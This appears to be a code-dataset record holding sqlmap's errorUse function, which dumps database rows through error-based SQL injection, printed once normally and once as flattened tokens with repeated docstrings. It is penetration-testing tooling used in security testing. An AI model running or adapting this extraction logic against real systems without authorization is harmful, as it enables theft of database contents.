(expression, dump=False)
return value
Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
Retrieve the output of a SQL query taking advantage of the error - based SQL injection vulnerability on the affected parameter .
def errorUse(expression, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(kb.technique)

    abortedFlag = False
    count = None
    emptyFields = []
    start = time.time()
    startLimit = 0
    stopLimit = None
    value = None

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # Set kb.partRun in case the engine is called from the API
    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)

            if " ORDER BY " in countedExpression.upper():
                _ = countedExpression.upper().rindex(" ORDER BY ")
                countedExpression = countedExpression[:_]

            _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
            count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and not count.isdigit():
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif (not count or int(count) == 0):
                if not count:
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)
                else:
                    value = []  # for empty tables
                return value

            if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
                message = "due to huge table size do you want to remove "
                message += "ORDER BY clause gaining speed over consistency? [y/N] "
                _ = readInput(message, default="N")

                if _ and _[0] in ("y", "Y"):
                    expression = expression[:expression.index(" ORDER BY ")]

            numThreads = min(conf.threads, (stopLimit - startLimit))

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            threadData.shared.value = BigArray()
            threadData.shared.buffered = []
            threadData.shared.counter = 0
            threadData.shared.lastFlushed = startLimit - 1
            threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1

            if threadData.shared.showEta:
                threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))

            if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
                for field in expressionFieldsList:
                    if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
                        emptyFields.append(field)
                        debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
                        debugMsg += "dumped as it appears to be empty"
                        logger.debug(debugMsg)

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            try:
                def errorThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                valueStart = time.time()
                                threadData.shared.counter += 1
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)

                        if not kb.threadContinue:
                            break

                        if output and isListLike(output) and len(output) == 1:
                            output = output[0]

                        with kb.locks.value:
                            index = None
                            if threadData.shared.showEta:
                                threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                            for index in xrange(len(threadData.shared.buffered)):
                                if threadData.shared.buffered[index][0] >= num:
                                    break
                            threadData.shared.buffered.insert(index or 0, (num, output))
                            while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
                                threadData.shared.lastFlushed += 1
                                threadData.shared.value.append(threadData.shared.buffered[0][1])
                                del threadData.shared.buffered[0]

                runThreads(numThreads, errorThread)

            except KeyboardInterrupt:
                abortedFlag = True
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
                value = threadData.shared.value
                kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        value = _errorFields(expression, expressionFields, expressionFieldsList)

    if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
        value = value[0]

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
        logger.debug(debugMsg)

    return value
def errorUse ( expression , dump = False ) : initTechnique ( kb . technique ) abortedFlag = False count = None emptyFields = [ ] start = time . time ( ) startLimit = 0 stopLimit = None value = None _ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( expression ) # Set kb.partRun in case the engine is called from the API kb . partRun = getPartRun ( alias = False ) if hasattr ( conf , "api" ) else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if ( dump and ( conf . limitStart or conf . limitStop ) ) or ( " FROM " in expression . upper ( ) and ( ( Backend . getIdentifiedDbms ( ) not in FROM_DUMMY_TABLE ) or ( Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and not expression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) ) ) and ( "(CASE" not in expression . upper ( ) or ( "(CASE" in expression . upper ( ) and "WHEN use" in expression ) ) ) and not re . search ( SQL_SCALAR_REGEX , expression , re . I ) : expression , limitCond , topLimit , startLimit , stopLimit = agent . limitCondition ( expression , dump ) if limitCond : # Count the number of SQL query entries output countedExpression = expression . replace ( expressionFields , queries [ Backend . getIdentifiedDbms ( ) ] . count . query % ( '*' if len ( expressionFieldsList ) > 1 else expressionFields ) , 1 ) if " ORDER BY " in countedExpression . upper ( ) : _ = countedExpression . upper ( ) . rindex ( " ORDER BY " ) countedExpression = countedExpression [ : _ ] _ , _ , _ , _ , _ , _ , countedExpressionFields , _ = agent . getFields ( countedExpression ) count = unArrayizeValue ( _oneShotErrorUse ( countedExpression , countedExpressionFields ) ) if isNumPosStrValue ( count ) : if isinstance ( stopLimit , int ) and stopLimit > 0 : stopLimit = min ( int ( count ) , int ( stopLimit ) ) else : stopLimit = int ( count ) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger . info ( infoMsg ) elif count and not count . isdigit ( ) : warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger . warn ( warnMsg ) stopLimit = 1 elif ( not count or int ( count ) == 0 ) : if not count : warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger . warn ( warnMsg ) else : value = [ ] # for empty tables return value if " ORDER BY " in expression and ( stopLimit - startLimit ) > SLOW_ORDER_COUNT_THRESHOLD : message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " _ = readInput ( message , default = "N" ) if _ and _ [ 0 ] in ( "y" , "Y" ) : expression = expression [ : expression . index ( " ORDER BY " ) ] numThreads = min ( conf . threads , ( stopLimit - startLimit ) ) threadData = getCurrentThreadData ( ) threadData . shared . limits = iter ( xrange ( startLimit , stopLimit ) ) threadData . shared . value = BigArray ( ) threadData . shared . buffered = [ ] threadData . shared . counter = 0 threadData . shared . lastFlushed = startLimit - 1 threadData . shared . showEta = conf . eta and ( stopLimit - startLimit ) > 1 if threadData . shared . showEta : threadData . shared . progress = ProgressBar ( maxValue = ( stopLimit - startLimit ) ) if kb . dumpTable and ( len ( expressionFieldsList ) < ( stopLimit - startLimit ) > CHECK_ZERO_COLUMNS_THRESHOLD ) : for field in expressionFieldsList : if _oneShotErrorUse ( "SELECT COUNT(%s) FROM %s" % ( field , kb . dumpTable ) ) == '0' : emptyFields . append ( field ) debugMsg = "column '%s' of table '%s' will not be " % ( field , kb . dumpTable ) debugMsg += "dumped as it appears to be empty" logger . debug ( debugMsg ) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT : kb . suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger . debug ( debugMsg ) try : def errorThread ( ) : threadData = getCurrentThreadData ( ) while kb . threadContinue : with kb . locks . limit : try : valueStart = time . time ( ) threadData . shared . counter += 1 num = threadData . shared . limits . next ( ) except StopIteration : break output = _errorFields ( expression , expressionFields , expressionFieldsList , num , emptyFields , threadData . shared . showEta ) if not kb . threadContinue : break if output and isListLike ( output ) and len ( output ) == 1 : output = output [ 0 ] with kb . locks . value : index = None if threadData . shared . showEta : threadData . shared . progress . progress ( time . time ( ) - valueStart , threadData . shared . counter ) for index in xrange ( len ( threadData . shared . buffered ) ) : if threadData . shared . buffered [ index ] [ 0 ] >= num : break threadData . shared . buffered . insert ( index or 0 , ( num , output ) ) while threadData . shared . buffered and threadData . shared . lastFlushed + 1 == threadData . shared . buffered [ 0 ] [ 0 ] : threadData . shared . lastFlushed += 1 threadData . shared . value . append ( threadData . shared . buffered [ 0 ] [ 1 ] ) del threadData . shared . buffered [ 0 ] runThreads ( numThreads , errorThread ) except KeyboardInterrupt : abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger . warn ( warnMsg ) finally : threadData . shared . value . extend ( _ [ 1 ] for _ in sorted ( threadData . shared . buffered ) ) value = threadData . shared . value kb . suppressResumeInfo = False if not value and not abortedFlag : value = _errorFields ( expression , expressionFields , expressionFieldsList ) if value and isListLike ( value ) and len ( value ) == 1 and isinstance ( value [ 0 ] , basestring ) : value = value [ 0 ] duration = calculateDeltaSeconds ( start ) if not kb . bruteMode : debugMsg = "performed %d queries in %.2f seconds" % ( kb . counters [ kb . technique ] , duration ) logger . debug ( debugMsg ) return value